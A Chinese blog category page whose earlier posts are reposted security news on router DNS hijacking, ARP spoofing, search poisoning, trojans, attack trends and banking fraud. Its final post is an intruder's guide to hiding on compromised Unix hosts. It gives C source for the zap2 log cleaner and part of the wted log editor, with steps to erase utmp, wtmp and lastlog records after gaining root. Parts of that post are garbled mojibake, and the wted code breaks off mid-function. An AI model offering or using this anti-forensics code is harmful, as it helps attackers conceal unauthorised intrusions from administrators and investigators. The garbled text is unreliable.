[公告] 痞客邦「應用市集」新 App 上架-iFontCloud Professional[公告] 痞客邦後台發表文章提供插入多張圖片新功能[公告]痞客邦新服務上線 部落客商店聚集就在《痞市集》[公告] 部落格「快捷功能BAR」改版介紹[公告] 痞客邦「快捷功能BAR」6月4日改版通知

Selected Category: Knowledge (41)

View Mode: Post List Post Summary
安全研究人員發佈的代碼表明了二種被廣泛應用的技術是如何被濫用來控制用戶的上網體驗的.

艾德裡安和佩特科夫上週末發佈的代碼利用了二種技術:UPnP(通用即插即用)協議、Adobe Systems的Flash多媒體軟件.

通過誘騙用戶瀏覽惡意的Flash文件,黑客能夠修改被路由器使用的主DNS服務器,這將使黑客在不知不覺間將用戶引導到虛假的網站上.

例如,即使在瀏覽器的地址欄中輸入花旗銀行的網址,路由器受到攻擊用戶會被誘導訪問黑客的Web服務器.這二名研究人員說,惡意行為中最可惡的是修改DNS服務器,這將使路由器以及它控制的網絡成為一個殭屍網絡.

由於許多的路由器都支持UPnP協議,艾德裡安和佩特科夫認為99%的家用路由器都會受到這種攻擊.事實上,打印機、數字娛樂系統、數碼相機等支持UPnP協議的其它設備也可能存在受到攻擊的危險.

這一攻擊尤其令人不安,因為它是跨平台的——任何支持Flash的操作系統都可能受到攻擊,更因為它利用了UPnP和Flash的特性,Adobe或路由器廠商無法輕鬆地修正這一問題.

用戶可以通過關閉路由器上的UPnP支持來避免受到攻擊,但這會引起多種流行的應用——例如即時通訊軟件、遊戲、Skype,不能正常運行,或要求對路由器進行手動配置.

據研究人員阿維夫稱,Adobe可以修改Flash,以減輕這一問題的嚴重程度.但是,黑客還可以利用被稱為「DNS pinning」的另一種技術發動這種攻擊.他在接受即時通訊採訪時說,這是一個嚴重的問題.用戶應當關閉設備中的UPnP,廠商應當使產品中的UPnP功能在缺省狀態是關閉的.儘管對於沒有技術背景的用戶來說可能有些難,但這是值得的.

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

互聯網發展至今,其已經成為人們每日生活不可或缺的信息傳播工具。但是由於互聯網建設初期眾多協議的漏洞,致使現如今網上某些病毒快速氾濫。最具代表性的莫過於ARP欺騙/攻擊。相信很多企業或用戶都會發生網絡頻斷地現象,那麼恭喜您,您80%可能中了如今最為流行的病毒ARP攻擊。其實ARP欺騙攻擊最常發生於企業內網中,但隨著互聯網的高速發展,其影響面已經越來越廣,在過去幾年很多校園網絡均深受其害。成為了木馬,Ddos攻擊後又一常見的病毒攻擊形式。時至07年ARP攻擊更是在各大數據中心氾濫,使得國內眾多機房或網絡運營商深惡痛絕。由於其攻擊的特性,它可以導致被攻擊網站或服務器的無法訪問,或者是受眾訪問其他錯誤網址或接收到錯誤信息。直接危害著企業的利益。面對ARP攻擊,IDC運營商只能處在被動挨打的地步,特別在近段時間來,上海地區眾多機房和眾多IDC商均頻繁發生ARP欺騙/攻擊事件,由於其技術特性,以及諸多電信運營管理的客觀原因,其很難做到及時預防,徹底根除。面對ARP欺騙/攻擊愈演愈烈,作為擁有5年IDC運營商背景的中國網域網為確保廣大客戶的利益,決心徹底根除這一行業毒瘤。因此中國網域網已與上海電信外高橋機房達成基本協議,開設國內首個防ARP欺騙/攻擊的服務器托管專區。

隨著ARP攻擊的不斷升級,不同的解決方案在市場上流傳。有一些方案,從短期看來似乎有效,實際上對於真正的ARP攻擊發揮不了作用,也降低局域網工作效率。中國網域網的技術服務人員嘗試採取了多種解決方案,但經過實際深入瞭解後,發現長期效果都不大。對於ARP攻擊防治,中國網域網技術服務人員建議,根據ARP欺騙/攻擊原理,在IDC機房採取獨立網段+雙向邦定的辦法是一個較全面並相對持久的解決方式。此次開設的防ARP欺騙/攻擊的服務器托管專區便是採取這一技術。

ARP雙向綁定的作法,等於是從基本上給ARP協議中的這個「快遞員培訓」,讓他把正確的IP地址及MAC地址記下來,再也不受其它人的信息干擾。由於「快遞員」完全按照邦定的地址進行信息數據的傳輸,因此完全不會排除了其他錯誤指令的干擾,能有效地完成工作。在這種情況下,可大大降低用戶服務器或主機在受到攻擊時無法訪問而掉線的情況發生。

雖然此解決方案對IDC運營商與電信運營商帶來一定的工作量,但是其效果確是100%的根除ARP欺騙攻擊。目前中國網域網已於上周同上海電信外高橋機房基本達成協議,開設國內首個防ARP欺騙/攻擊的主機托管專區,現在正為新老客戶提供免費測試服務。相信該項增值服務將真正做到100%防ARP欺騙/攻擊,斬斷ARP欺騙/攻擊這一互聯網行業中的毒瘤。為用戶營造穩定、安全的托管環境。

中國網域網承諾,將堅持自己的一貫作風,延續自己的7x24的服務理念,打造自己的品牌IDC服務,為企業網絡運營、企業網絡管理、企業網絡營銷提供最有力的保障。為您提供高速,更穩定,更安全,更完善的IDC服務

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

國外媒體報道,黑客對谷歌搜索結果中清除惡意鏈接的方法做出了回應,其回應方法就是破壞谷歌搜索結果頁面上的網站排名系統。

  黑客通過將搜索結果引導到惡意軟件滋生的網站來進行破壞。他們還在谷歌的搜索結果中自動置入博客和論壇中的惡意鏈接。黑客們利用已經遭到破壞的個人電腦來開展破壞鏈接排名的行動。

  反間諜軟件生產商Sunbelt Software表示,谷歌於本周早些時候對搜索結果進行了一次清理,但是黑客們又迅速通過發動新一輪襲擊做出回應。現在,谷歌中出現的一些無傷大雅的笑話可能會將搜索結果鏈接到一些惡意軟件上。黑客們的方法就是在受到破壞的服務器上設置數千個頁面,其中會提到某些特定的條目,以此來獲得相對較高的搜索排名。

  有兩伙黑客參與了這最新一輪的襲擊。他們都想將搜索結果引到位於中國的惡意網站上。其中一夥黑客利用的是Spy-shredder反間諜程序。Sunbelt認為這夥人就是最早對谷歌發動襲擊的那些黑客。

  另外一夥黑客則是利用技術將用戶引導到他們事先設定好的網站上,以此來通過用戶的點擊率獲得非法收入。

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

除了BT,FLASHGET,許多電腦網友還喜歡用迅雷軟件下載歌曲和視頻。然而,記者昨天從上海信息化服務熱線獲悉,本週一條「迅雷蛀蟲」(Win32.Troj.Agent.vb)可能會入侵電腦,給大家帶來損失。


據悉,「迅雷蛀蟲」進入用戶系統後,會釋放出兩個病毒文件,分別為%windows%\system32\目錄下的gdisvc.exe和% Program Files%\CommonFiles\System\目錄下的gdiserver.exe。然後,它就建立批處理程序,把源文件刪除,使用戶不易發現它。它運行後由於進程隱藏,黑客開始嘗試然後嘗試連接遠程服務器,從多個非法地址下載大量木馬。這些木馬會以成GIF、TXT、ALL、JS等格式潛入用戶系統,其中還包括一個「迅雷看看」(ThunderKanKan)上的漏洞指令。一旦用戶安裝了迅雷,便會利用此漏洞展開更瘋狂的木馬下載行為,給用戶系統造成無法估計的損失。


對此,反病毒專家提醒,開啟防病毒軟件的實時監控;關閉U盤的「自動播放功能」建議用戶立即針對自己計算機安裝的操作系統,找到相應的安全漏洞補丁,下載並安裝。

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

從1988年開始,位於美國卡內基梅隆大學的CERT CC(計算機緊急響應小組協調中心)就開始調查入侵者的活動。CERT CC給出一些關於最新入侵者攻擊方式的趨勢。

  趨勢一:攻擊過程的自動化與攻擊工具的快速更新

  攻擊工具的自動化程度繼續不斷增強。自動化攻擊涉及到的四個階段都發生了變化。

  1. 掃瞄潛在的受害者。從1997年起開始出現大量的掃瞄活動。目前,新的掃瞄工具利用更先進的掃瞄技術,變得更加有威力,並且提高了速度。

  2. 入侵具有漏洞的系統。以前,對具有漏洞的系統的攻擊是發生在大範圍的掃瞄之後的。現在,攻擊工具已經將對漏洞的入侵設計成為掃瞄活動的一部分,這樣大大加快了入侵的速度。

  3. 攻擊擴散。2000年之前,攻擊工具需要一個人來發起其餘的攻擊過程。現在,攻擊工具能夠自動發起新的攻擊過程。例如紅色代碼和Nimda病毒這些工具就在18個小時之內傳遍了全球。

  4. 攻擊工具的協同管理。自從1999年起,隨著分佈式攻擊工具的產生,攻擊者能夠對大量分佈在Internet之上的攻擊工具發起攻擊。現在,攻擊者能夠更加有效地發起一個分佈式拒絕服務攻擊。協同功能利用了大量大眾化的協議如IRC(Internet Relay Chat)、IR(Instant Message)等的功能。

  趨勢二:攻擊工具的不斷複雜化

  攻擊工具的編寫者採用了比以前更加先進的技術。攻擊工具的特徵碼越來越難以通過分析來發現,並且越來越難以通過基於特徵碼的檢測系統發現,例如防病毒軟件和入侵檢測系統。當今攻擊工具的三個重要特點是反檢測功能,動態行為特點以及攻擊工具的模塊化。

  1. 反檢測。攻擊者採用了能夠隱藏攻擊工具的技術。這使得安全專家想要通過各種分析方法來判斷新的攻擊的過程變得更加困難和耗時。

  2. 動態行為。以前的攻擊工具按照預定的單一步驟發起進攻。現在的自動攻擊工具能夠按照不同的方法更改它們的特徵,如隨機選擇、預定的決策路徑或者通過入侵者直接的控制。

  3. 攻擊工具的模塊化。和以前攻擊工具僅僅實現一種攻擊相比,新的攻擊工具能夠通過升級或者對部分模塊的替換完成快速更改。而且,攻擊工具能夠在越來越多的平台上運行。例如,許多攻擊工具採用了標準的協議如IRC和HTTP進行數據和命令的傳輸,這樣,想要從正常的網絡流量中分析出攻擊特徵就更加困難了。

  趨勢三:漏洞發現得更快

  每一年報告給CERT/CC的漏洞數量都成倍增長。CERT/CC公佈的漏洞數據2000年為1090個,2001年為2437個,2002年已經增加至4129個,就是說每天都有十幾個新的漏洞被發現。可以想像,對於管理員來說想要跟上補丁的步伐是很困難的。而且,入侵者往往能夠在軟件廠商修補這些漏洞之前首先發現這些漏洞。隨著發現漏洞的工具的自動化趨勢,留給用戶打補丁的時間越來越短。尤其是緩衝區溢出類型的漏洞,其危害性非常大而又無處不在,是計算機安全的最大的威脅。在CERT和其它國際性網絡安全機構的調查中,這種類型的漏洞是對服務器造成後果最嚴重的。

  趨勢四:滲透防火牆

  我們常常依賴防火牆提供一個安全的主要邊界保護。但是情況是:

  * 已經存在一些繞過典型防火牆配置的技術,如IPP(the Internet Printing Protocol)和WebDAV(Web-based Distributed Authoring and Versioning)

  * 一些標榜是「防火牆適用」的協議實際上設計為能夠繞過典型防火牆的配置。

  特定特徵的「移動代碼」(如ActiveX控件,Java和javascript)使得保護存在漏洞的系統以及發現惡意的軟件更加困難。

  另外,隨著Internet網絡上計算機的不斷增長,所有計算機之間存在很強的依存性。一旦某些計算機遭到了入侵,它就有可能成為入侵者的棲息地和跳板,作為進一步攻擊的工具。對於網絡基礎架構如DNS系統、路由器的攻擊也越來越成為嚴重的安全威脅。

  採用主動防禦措施應對新一代網絡攻擊

  「紅色代碼」蠕蟲病毒在因特網上傳播的最初九小時內就感染了超過250,000個計算機系統。該感染導致的代價以每天2億美元飛速增長,最終損失高達26億美元。「紅色代碼」,「紅色代碼II」,及「尼姆達」、「求職信」快速傳播的威脅顯示出現有的網絡防禦的嚴重的局限性。市場上大多數的入侵檢測系統是簡單的,對網絡中新出現的、未知的、通常稱做「瞬時攻擊:Zero-day Attack」的威脅沒有足夠防禦手段。

  黑客的「機會之窗」

  目前大多數的入侵檢測系統是有局限性的,因為它們使用特徵碼去進行辨別是否存在攻擊行為。這些系統採用這種方式對特定的攻擊模式進行監視。它們基於貯存在其數據庫裡的識別信息:類似於防病毒軟件檢查已知病毒的方式。這意味著這些系統只能檢測他們已經編入識別程序的特定的攻擊。因為「瞬時攻擊」是新出現的,尚未被廣泛認識,所以在新的特徵碼被開發出來,並且進行安裝和配置等這些過程之前,它們就能繞過這些安全系統。實際上,僅僅需要對已知的攻擊方式進行稍微的修改,這些系統就不會認識這些攻擊方式了,從而給入侵者提供了避開基於特徵碼的防禦系統的手段。

  從新的攻擊的發動到開發新的特徵碼的這段時間,是一個危險的「機會之窗」,許多的網絡會被攻破。這時候許多快速的入侵工具會被設計開發出來,網絡很容易受到攻擊。下圖舉例說明了為什麼大多數的安全產品在該時期內實際上是無效的。CERT組織研製的這個圖表說明了一個網絡攻擊的典型的生命週期。該曲線的波峰就在攻擊的首次襲擊之後,這是大多數安全產品最終開始提供保護的時候。然而「瞬時攻擊」是那些最老練的黑客在最早期階段重點展開的。

  同時,現在那些快速進行的攻擊利用了廣泛使用的計算機軟件中的安全漏洞來造成分佈更廣的破壞。僅僅使用幾行代碼,他們就能編寫一個蠕蟲滲透到計算機網絡中,通過共享賬號克隆自己,然後開始攻擊你的同伴和用戶的網絡。使用這種方式,在廠商開發出特徵碼並將其分發到用戶的這段時間內,「尼姆達蠕蟲」僅僅在美國就傳播到了超過100,000的網絡站點。這些分發機制使「瞬間攻擊」像SirCam和Love Bug兩種病毒分別席捲了230萬和4000萬的計算機,而不需要多少人為干預。其中有些攻擊甚至還通過安裝一個後門來為以後的破壞建立基礎,該後門允許對手、黑客和其他未獲授權的用戶訪問一個組織重要的數據和網絡資源。

Posted by DeepSe@ at 痞客邦 PIXNET 留言(1) 引用(0) 人氣()

CNET科技資訊網11月16日國際報道 一位知名安全研究人員本週三表示,Web 2.0技術可能為新一代的黑客工具「奠定基礎」。

在Open Web Application Security Project(OWASP)會議上發言時,安全研究人員Petko Petkov表示,Google Mashups、RSS feed、搜索能夠被黑客用來傳播惡意軟件,攻擊互聯網用戶,與botnet通訊。

Petkov說,MPack等黑客工具包使得黑客能夠更方便地開發惡意代碼,一些新出現的技術可以使黑客攻擊活動達到一個全新的水平。

Web安全廠商Armorize CEO Wayne Huang表示,這類Web 2.0惡意軟件仍然處於「初級階段」,但已經開始被黑客使用。Huang說,他已經發現黑客在利用Google alerts掃瞄運行包含已經缺陷的軟件的站點,電腦犯罪分子還在開始使用RSS-電子郵件轉換服務,以一種不可思議的方式控制botnet。

Huang表示,直到此前不久,botnet仍然需要通過預先分配的IRC頻道獲得控制命令,但是,現在已經出現了基於分佈式RSS的botnet。這給執法機關關閉控制botnet的計算機增加了難度。

Petkov和Huang等研究人員表示,電腦犯罪分子才剛剛開始試驗Web 2.0黑客攻擊技術,但是如果流行開來,它們會成為Web 2.0世界的惡夢。

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

今天,中國金融認證中心(CFCA)副總經理曹小青透露,據CFCA的最新監控發現,網銀大盜對網銀的攻擊手段、技術有加快更新的趨勢,已經從攻擊密碼轉 向攻擊數字證書.部分持數字證書的網銀用戶,如果只將數字證書下載後存放在電腦的IE瀏覽器上,那麼其網銀賬戶仍存在風險——數字證書可能因電腦染上木馬 病毒而被盜取.
在股市火熱,投資者網上交易、轉賬頻繁的現在,網銀安全變得愈加重要.據CFCA監測發現,目前網上銀行交易面臨的不安全隱患主要有兩種:一種是在未申請 數字證書的前提下,網銀用戶密碼被盜取,導致資金被盜;另一種是,雖然申請了數字證書,但由於沒有妥善保管,被網銀大盜用木馬病毒攻破載有數字證書的電 腦,進而造成資金被盜.

曹小青透露,為了提升網銀安全,監管部門將要求各銀行電子銀行禁用「戶名+ 口令」的網銀交易方式,因為在該模式下,賬戶密碼極易被破譯.具體來說,如果網銀用戶沒有申請數字證書,其網銀密碼很容易通過網絡釣魚、假冒網站、詐騙短信等方式被騙取.他舉例說,最近破獲的一起網銀盜竊案件中,犯罪分子用80個常見的密碼,竟先後「猜」對了上萬個賬戶.

  但是,即便網銀用戶申請了數字證書,卻將其下載後放在電腦IE瀏覽器上(業內稱之為「軟證書」),依然存在風險——證書被木馬病毒破譯.曹小青用形象的比喻稱,木馬病毒就像一個躲在門口的小偷,他一旦發現你把鑰匙(數字證書)放在門口的花盤(即IE瀏覽器)裡,而不是隨身攜帶,就有可能趁人不備偷到鑰匙,並打開網銀大門進行盜竊.

  據瞭解,到目前為止,網銀領域尚未出現一例因數字證書安全機制被攻破而使用戶資金受損的案件.目前新出現的一些網銀盜用案件,並非數字證書機制本身不安全,而是用戶在數字證書保管和使用過程中出現了問題.

  「保管好數字證書至關重要.」曹小青建議,目前比較科學、最為安全的做法是,把數字證書下載在USBKEY(類似U盤,業內稱之為「硬證書」)裡,數字證書只有封裝在裡面並被用戶隨身攜帶,木馬病毒才會對其束手無策.

  CFCA建議,保管好數字證書必須做到以下三點:首先,一定要將數字證書放在USBKEY內;交易時,插在電腦USB接口上,交易完成後及時撥出妥善保管;如果存放數字證書的USBKEY有損壞、丟失等,要及時告知銀行.

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

澳大利亞黑客將自己破解iPhone的視頻上傳到YouTube,隨後又悄然刪除了這段視頻

  北京時間7月30日消息,據國外媒體報道,一名澳大利亞黑客成功破解iPhone手機的SIM卡限制,在澳大利亞電信的網絡上成功撥出了電話。

  YouTube視頻顯示破解步驟

  上週末,這位名為「ozbimmer」的澳大利亞黑客在YouTube上貼出一段視頻,演示自己破解iPhone的全過程。破解後的iPhone只能撥打電話,不能接收電話或者發送/接收短信。這是截至目前,全球黑客在破解iPhone上取得的最大突破。

  7月初,曾破解DVD加密代碼的黑客「Jon Johansen」成功破解了iPhone的激活程序,繞開AT&T網絡激活iPhone,並能使用iPhone的Wi-Fi上網和音樂播放功能,但他未能破解iPhone的通話功能。

  上週末,有澳大利亞媒體試圖採訪ozbimmer,但遭到拒絕,隨後ozbimmer在YouTube上刪除了這段視頻。他拒絕評論是否因蘋果公司或AT&T壓力而刪除視頻。

  6月29日,蘋果公司與AT&T合作推出了iPhone。iPhone捆綁了AT&T的SIM卡,因此只能使用AT&T的網絡服務。用戶購買iPhone後,必須與AT&T簽訂服務協議,然後通過AT&T激活後才能正常使用。這一限制導致其他國家或非AT&T用戶無法享受iPhone的強大功能,因此也激發了各國黑客爭做破解第一人的野心。

  破解程序複雜

  從視頻上看,ozbimmer的破解程序極為複雜,需要獲取iPhone捆綁的AT&T SIM卡及澳大利亞電信SIM卡上的信息,然後利用SIM讀寫器和諸多軟件製造出一張新的SIM卡。連ozbimmer本人也承認,破解步驟非常複雜,但他認為,對iPhone黑客而言,這是一次巨大突破。

  很多黑客在hackint0sh.org和iPhone dev wiki等論壇討論iPhone破解信息。事實證明,iPhone的破解難度極大。此前,曾有黑客聲稱,數周內就能找出對策,但現在看來,全面破解可能需要數月時間。

  蘋果的野心

  上周,蘋果在最新一季財報中公佈,在iPhone上市兩日內,共售出27萬部,並重申將在明年底實現1千萬的銷售目標,而蘋果另一大核心產品iPod花費兩年才售出了100萬部。

  目前,蘋果正與多國運營商洽談合作事宜,預計iPhone將在年底首先登陸歐洲市場。

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

嚴防網絡恐怖襲擊
  讀者點題

  軍事專刊上期(5月8日)刊發「美軍組建最新獨立兵種 黑客部隊編入作戰序列」,有讀者希望瞭解有關黑客部隊的更詳細情況。

  世界上第一支網絡黑客部隊——美軍網絡戰聯合功能構成司令部(簡稱JFCCNW),今年2月份正式編入了作戰序列。據美國《C4ISR》雜誌前不久報道,美軍戰略司令部與國家安全局(NSA)正著力增強這支信息戰特種部隊的功能,使其能隨時防禦來自恐怖分子的網絡攻擊。

  民間黑客形形色色攻擊不斷美國網絡安全面臨嚴重威脅今年年初,美國聯邦調查局(FBI)的一份評估報告披露,最近頻繁發生的針對美國政府部門和軍用計算機網絡的攻擊事件,可能是親伊拉克的「恐怖分子」黑客所為,這使得美國國家安全面臨「潛在危機」。

  據《今日美國報》報道,形形色色的黑客攻擊美方機構電腦系統的主要方法,是首先發送偽造的「內部」電子郵件信息資料充當誘餌,然後尋找機會冒充合法用戶,侵入存放著保密信息資料的美國數據庫。此外,病毒也是黑客們常用的攻擊手段。

  目前針對美國網絡的攻擊主要有以下幾個特點:

  1、政府網站成首要攻擊目標,官方軍網為攻擊重點

  據美軍計算機網絡安全部門統計,近年來有23個國家曾以美軍網絡系統為攻擊目標。2004年專門針對美國政府網站的非法入侵事件發生了7.9萬件,至今一直飆升。被入侵的政府網站包括國防部、國務院、能源部、國土安全部等重要政府職能部門,其中以國防部最為嚴重,一年就被攻擊1300多次。

  2、民間黑客高手是主要實施者非政府組織和個人對美軍網站的攻擊也給美軍造成很大麻煩。英國《衛報》報道,英國一名對UFO(飛碟)異常癡迷的電腦工程師加裡·麥金農,為了尋找傳說中美國軍方隱藏的「外星人造訪地球」證據,從2001年2月到2002年3月13個月內,竟入侵美軍陸、海、空三軍的97套電腦系統,美國五角大樓和美國宇航局的電腦系統也照樣被「黑」,造成美軍高達70萬美元損失。2005年6月9日這個黑客高手才被披露。3、「恐怖組織」黑客的網絡攻擊上升英國《每日鏡報》日前披露,近年來恐怖分子積極利用「恐怖網站」招募成員、籌集資金或發佈恐怖信息,還利用網絡科技跨國作案,在過去兩年間,通過網絡公佈的恐怖襲擊視頻的數量增加了7倍。

  20億美元用於信息保密建設網絡中心戰成為新型作戰模式美國為了應付網絡黑客的種種攻擊,防止出現「網絡9·11事件」,布什總統2002年就發佈了第16號「國家安全總統令」,組建了美軍網絡黑客部隊——網絡戰聯合功能構成司令部(簡稱JFCC-NW),今年2月份正式編入了作戰序列。

  2005財年,美軍投入20億美元用於信息系統的網絡安全保密建設,比上一財年又增長7.8%。今年,美軍正在實施「密碼現代化計劃」,準備用15年時間,投入數十億美元使密碼系統全面升級。美軍為了應對未來的信息戰,首次提出了「網絡中心戰」的新型作戰模式,並正在努力推廣。

  網絡部隊實兵對抗演習頻增華盛頓網絡風暴行動抗擊災難為了加強網絡黑客部隊的實戰水平,不斷創新網絡攻擊技術手段,2006年2月6日至10日,華盛頓上演了最大規模的網絡戰演習——「網絡風暴」行動。美國所有的重要部門都動員起來了。白宮國家安全委員會、國防部、國務院、司法部、財政部、國家安全局以及聯邦調查局、中央情報局等參與其中,大名鼎鼎的電腦和軟件公司微軟、思科、Citadel和VeriSign等傾力相助,加拿大、澳大利亞和英國的官員也前來觀摩。美國政府投入了高達300萬美元的費用,希望能提高美國各個機構應付世界級網絡大災難的能力。

  近幾年美國有關部門不斷進行有關網絡攻防的演練。去年5月,美中央情報局信息戰中心在弗吉尼亞舉行了代號為「平靜地平線」的網絡戰演習,模擬美國的商業網絡遭到對手黑客的攻擊。美國軍方則每年進行一次「網絡防禦」項目的演習,由國家安全局的電腦專家充當「黑客殺手」負責進攻,西點軍校、空軍學院、海軍學院和陸戰隊學院的專業人士進行防禦,以研究美軍網絡安全可能存在的漏洞。

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

隱藏自己


--------------------------------------------------------------------------------

目錄:
Zap2 程序

其它腳本程序


隱藏自己的關鍵是你要不斷的學習瞭解新的系統知識。如果你做了很苯的事情,比如有一次忘了清除你的utmp、wtmp日誌或傳送記錄等等,你可能就會喪失再次訪問這個系統的機會。你自己應該制定一個計劃去學習每個操作系統!
盡可能的去熟悉系統,如果你同時學習幾個系統,你應該做好筆記。記住你應該養成一個習慣,你是否養成清除你登錄、傳送文檔的記錄的習慣?千萬不要忘記清除記錄否則你可能會喪失對系統的訪問權並面對一系列的指控。


--------------------------------------------------------------------------------

Zap2 (清除 wtmp/lastlog/utmp記錄)

網絡上有很多不同的日誌清除程序,其中最好的是zap2。我編譯後稱為z2
在你獲得root的訪問權後立即運行z2這個程序。這個程序執行的非常快。
你可以使用finger @host.xxx來查看當前有說鍬劑耍邢腹鄄煲幌聄oot或admin的idle time(空閒時間)來猜測他們是否離開主機了。
Login, ?uμ???ooa¢?′e?e?wa′2e?′idle timeoi???uoD?μ???a??£ μ???o?"w"2e?′?μi3oi??e?e?e1×??o3e?arootμ??ua?e?2??ui?e±??DDμ??£o?μ???μ?μ?a?rootμ?·??ee‥£?a¢?′e?e? ./z2 ??μ????μi3?uo?μ?o??§???£
現在你比剛才就安全多了。現在再用"w"或"who"命令來查看一下,你已靜換岜籾tmp記錄了。如果你要使用 ftp或其它的一些命令你可能就會用到我在本章中提供的另外兩個程序 wted 和 lled。
我們先來完成z2這個程序。你必須瞭解每個文件在你入侵的系統中的位置以便修改z2.c,使其包含這些文件的正確路徑。
下面是在文件頭部的需要你修改的部分。
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
在有些系統中應該是:
#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"

但你應該自己查看一下這些文件存放在你要入侵的系統的什麼位置。/var/log目錄也是很可能的一個路徑。修改好正確的文件路徑後,編譯這個文件,現在你登錄之後運行z2,你就已比較安全了。
這裡是c程序:
z2.c
--------------------------- cut here
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
--------------------------- cut here


--------------------------------------------------------------------------------

其它腳本程序

我們開始本章的另一部分。我們假設你登錄並執行了z2,你需要進行ftp來抓一個文件(記住,像第一章所說的,不要ftp或telent出這個入侵的主機)。好了,你ftp進入系統抓取幾個文件,或登錄到系統的其它帳戶中,那現在你就要用到wted程序了。 wted程序允許你編紈tmp日誌來清除你ftp留下的記錄。你也可能要用到lled (編糽astlog日誌).
你在修改日誌的路徑並編譯wted程序後,輸入 ./wted將會出現下面的菜單。
[8:25pm][/home/compile]wted
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help 幫助
-f Use FILE instead of default 所使用的非默認文件
-a Show all entries found 顯示所有的記錄
-u Show all entries for USER 顯示USER的所有記錄
-b Show NULL entries 顯示空記錄
-e Erase USER completely 完全清除某用戶的記錄
-c Erase all connections containing HOST 清除從某主機來的所有記錄
-z Show ZAP'd entries ??e?o?ZAP′|ai1yμ?????
-x Attempt to remove ZAP'd entries completely e?3yo?ZAP′|ai1yμ?????
如果你ftp使用的用戶名為 tsmith,你應這樣使用 wted -x -e tsmith
這個程序將顯示用戶tsmith登錄的一個時間並詢問你是否要刪除它。在你刪除你登錄的記錄後,記著chmod 644 wtmp.tmp文件然後將其拷貝到日誌文件的目錄並覆蓋岳吹奈募O笳庋?
1. chmod 644 wtmp.tmp
2. cp wtmp.tmp /var/adm/wtmp
下面是wted程序:
重要:記著將char裡面文件改成正確的路徑。
wted.c
---------------------- cut here
#include
#include
#include
#include
char *file="/var/adm/wtmp";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i {
if(argv[i][0] == '-')
{
switch(argv[i][1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1],0); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct utmp utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
{
if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct utmp *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ut_name);
printf("%s\t",ptr->ut_line);
strcpy(tmpstr,ctime(&(ptr->ut_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ut_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (host)
if (strstr(utmp.ut_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
if (name) {
if (strcmp(utmp.ut_name,name)) {cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
